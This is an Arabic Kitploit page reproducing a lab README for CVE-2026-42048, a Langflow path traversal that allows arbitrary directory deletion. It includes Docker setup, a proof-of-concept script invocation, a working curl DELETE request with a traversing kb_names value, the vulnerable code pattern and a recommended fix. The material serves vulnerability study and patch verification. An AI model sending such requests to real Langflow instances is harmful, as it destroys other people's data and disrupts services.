Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-42048 — Langflow حذف الدليل التعسفي | Kitploit
أدوات/GitHubGitHub/eqstlab/cve-2026-42048
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHubeqstlab/cve-2026-42048

CVE-2026-42048

Langflow حذف الدليل التعسفي

عرض المستودع
22منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-42048

CVE-2026-42048 Langflow اجتياز المسار / إثبات المفهوم لحذف الدليل التعسفي

https://github.com/user-attachments/assets/6e5481ff-e953-47a5-8870-70b30c6550de


الوصف

CVE-2026-42048 : ثغرة حذف دليل تعسفي في Langflow

الوصف: ثغرة اجتياز المسار في Langflow قبل الإصدار 1.9.0 تسمح لمهاجم مُوثَّق بحذف أدلة خارج مسار تخزين قاعدة المعرفة المقصود من خلال نقطة نهاية الحذف الجماعي، DELETE /api/v1/knowledge_bases. تحدث المشكلة لأن قيم kb_names التي يتحكم بها المستخدم تُستخدم لبناء مسارات نظام الملفات دون تطبيع مناسب والتحقق من الاحتواء.


المتطلبات المسبقة

يتطلب الاستغلال الناجح الشروط التالية:

  • الهدف يعمل بإصدار ضعيف من Langflow، قبل 1.9.0.
  • يمكن للمهاجم الوصول إلى نقطة نهاية الحذف الجماعي لقواعد المعرفة:
root@kitploit:~
DELETE /api/v1/knowledge_bases
  • المهاجم مُوثَّق أو يمكنه تقديم طلبات API موثَّقة. تصف الإعلانات العامة هذه المشكلة بأنها تتطلب امتيازات منخفضة (PR:L).
  • يمكن للمهاجم التحكم في معامل kb_names في جسم الطلب.
  • عملية Langflow لديها صلاحيات نظام الملفات لحذف الدليل المستهدف.

هذه الثغرة لا تتجاوز صلاحيات ملفات نظام التشغيل. إنها تسيء استخدام معالجة المسار ومنطق الحذف الخاص بـ Langflow.


إعداد المختبر

قم ببناء وتشغيل البيئة الضعيفة باستخدام Docker:

بناء الصورة

root@kitploit:~
docker build -t cve-2026-42048 .

تشغيل الحاوية

root@kitploit:~
docker run --rm -d -p 9101:9101 --name cve-2026-42048 cve-2026-42048

التحقق من الحالة

root@kitploit:~
curl http://127.0.0.1:9101/status

يقوم المختبر بإنشاء دليل مستهدف قابل للاستبدال في:

root@kitploit:~
/target/CVE-2026-42048

تُبلغ نقطة نهاية /status عما إذا كان هذا الدليل لا يزال موجودًا.


كيفية الاستخدام

الاستغلال باستخدام إثبات المفهوم

root@kitploit:~
python3 poc.py

الإدخال التفاعلي:

root@kitploit:~
Vulnerable URL: http://127.0.0.1:9101
Path to delete [/target/CVE-2026-42048]:

الاستغلال باستخدام curl

root@kitploit:~
curl -s -X DELETE http://127.0.0.1:9101/api/v1/knowledge_bases \
  -H "Content-Type: application/json" \
  -d '{"kb_names":["/target/CVE-2026-42048"]}'

التحقق من النتيجة

root@kitploit:~
curl http://127.0.0.1:9101/status

إذا نجح الاستغلال، يتغير target_exists من true إلى false.


التحليل

النقطة النهائية الضعيفة

root@kitploit:~
DELETE /api/v1/knowledge_bases

توجد الثغرة في API الحذف الجماعي لقواعد المعرفة في Langflow. يقبل المعالج المعني قائمة بأسماء قواعد المعرفة من خلال معامل kb_names ويستخدم كل قيمة لبناء مسار نظام ملفات للحذف.

في الإصدارات الضعيفة، يقوم منطق الحذف الجماعي ببناء المسار يدويًا بدلاً من استخدام مساعد حل المسار الأكثر أمانًا المستخدم في نقاط نهاية قاعدة المعرفة الأخرى. تمثيل مبسط للنمط الضعيف هو:

root@kitploit:~
kb_root_path = KBStorageHelper.get_root_path()
kb_user_path = kb_root_path / current_user.username

for kb_name in request.kb_names:
    kb_path = kb_user_path / kb_name

    if not kb_path.exists() or not kb_path.is_dir():
        continue

    KBStorageHelper.delete_storage(kb_path, kb_name)

يقوم مساعد الحذف في النهاية بإزالة الدليل المستهدف بمنطق حذف متكرر. نظرًا لأن kb_name يتحكم به المهاجم، يمكن لتسلسلات اجتياز المسار مثل ../ الهروب من دليل قاعدة المعرفة الخاص بالمستخدم الحالي. في مكتبة pathlib الخاصة بـ Python، يمكن للمسار المطلق المقدم على الجانب الأيمن أيضًا تجاوز مكونات المسار السابقة:

root@kitploit:~
Path("/safe/base") / "/target/CVE-2026-42048"
# -> /target/CVE-2026-42048

نتيجة لذلك، يمكن لقيمة kb_names المحرفة أن تتسبب في حذف Langflow لدليل خارج جذر تخزين قاعدة المعرفة المقصود، طالما أن عملية Langflow لديها إذن لحذف هذا الدليل.

هذه مشكلة CWE-22: تقييد غير مناسب لاسم المسار إلى دليل مقيد.

السبب الجذري التقني

السبب الجذري هو عدم كفاية التطبيع والتحقق من الحدود لمكونات المسار التي يتحكم بها المستخدم قبل الحذف المتكرر. تتحقق نقطة نهاية الحذف الجماعي الضعيفة مما إذا كان المسار النهائي موجودًا، لكنها لا تضمن أن المسار المحلول لا يزال ضمن دليل قاعدة المعرفة الخاص بالمستخدم المُوثَّق.

يجب أن يقوم الإصلاح القوي بما يلي:

  • تطبيع المسار النهائي باستخدام Path.resolve()
  • التأكد من أن المسار المحلول لا يزال داخل دليل قاعدة المعرفة الخاص بالمستخدم المُوثَّق
  • رفض المسارات التي تهرب من ذلك الدليل قبل الحذف

أصلح Langflow هذه المشكلة في الإصدار 1.9.0.

لماذا هذا مهم

يمكن أن يؤثر حذف الدليل التعسفي بشكل مباشر على التكامل والتوفر. اعتمادًا على صلاحيات النشر وهيكل نظام الملفات، قد يتمكن المهاجم من:

  • حذف بيانات قاعدة المعرفة الخاصة بمستخدم آخر
  • إزالة الأدلة المملوكة للتطبيق
  • تعطيل حالة تشغيل Langflow
  • التسبب في فقدان البيانات أو انقطاع الخدمة

لا تتطلب هذه المشكلة تنفيذ تعليمات برمجية عشوائية لتكون ضارة. الحذف المتكرر بصلاحيات التطبيق كافٍ لإلحاق الضرر بالبيانات والتوفر.


السيناريو

root@kitploit:~
+-------------------------------------------+
|              المستخدم المُوثَّق              |
+-------------------------------------------+
                      |
                      | DELETE /api/v1/knowledge_bases
                      | kb_names = ["/target/CVE-2026-42048"]
                      v
+-------------------------------------------+
|       Langflow Knowledge Base API         |
+-------------------------------------------+
                      |
                      | بناء مسار غير آمن
                      v
+-------------------------------------------+
|   الهروب من دليل مستخدم قاعدة المعرفة المقصود |
+-------------------------------------------+
                      |
                      | حذف متكرر للدليل
                      v
+-------------------------------------------+
|        حذف دليل تعسفي                       |
+-------------------------------------------+

ملاحظات المختبر

يعرض هذا المختبر وكيل تحدي صغير على المنفذ 9101. يحجب الوكيل واجهة Langflow الكاملة ومنفذ الخلفية المباشر، مع توجيه فقط مسار API الضعيف الأدنى المطلوب لهذا التمرين.

الدليل المستهدف للمختبر هو:

root@kitploit:~
/target/CVE-2026-42048

يمكن استخدام نقطة النهاية /status لتأكيد حذف الدليل المستهدف.


التنظيف

root@kitploit:~
docker stop cve-2026-42048

إخلاء المسؤولية

هذا المستودع ليس المقصود منه تسهيل الاستغلال غير المصرح به لمثيلات Langflow. الغرض من هذا المشروع هو مساعدة الباحثين الأمنيين والمدافعين والمطورين على فهم الثغرة، والتحقق من التعرض في بيئات خاضعة للرقابة، وتطبيق إجراءات التخفيف الفعالة.


المراجع

https://github.com/langflow-ai/langflow/security/advisories/GHSA-9whx-c884-c68q

https://nvd.nist.gov/vuln/detail/CVE-2026-42048

https://github.com/langflow-ai/langflow

تنزيل الأداة